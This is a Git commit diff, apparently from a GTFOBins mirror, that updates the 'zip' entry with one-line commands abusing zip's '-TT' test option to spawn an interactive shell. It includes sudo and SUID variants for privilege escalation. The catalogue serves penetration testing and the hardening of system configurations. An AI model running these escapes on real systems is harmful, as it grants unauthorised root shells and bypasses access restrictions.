mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Simplify zip and add suid-limited
This commit is contained in:
parent
2ff760e560
commit
f740b410cc
@ -1,11 +1,15 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
execute-interactive:
|
execute-interactive:
|
||||||
- code: echo "/bin/sh" > /tmp/run.sh
|
- code: |
|
||||||
chmod +x /tmp/run.sh
|
zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
|
||||||
zip z.zip * -T -TT /tmp/run.sh
|
rm /tmp/x.zip
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: echo "/bin/sh" > /tmp/run.sh
|
- code: |
|
||||||
chmod +x /tmp/run.sh
|
sudo zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
|
||||||
sudo zip z.zip * -T -TT /tmp/run.sh
|
sudo rm /tmp/x.zip
|
||||||
|
suid-limited:
|
||||||
|
- code: |
|
||||||
|
./zip /tmp/x.zip /etc/hosts -T -TT 'sh #'
|
||||||
|
sudo rm /tmp/x.zip
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user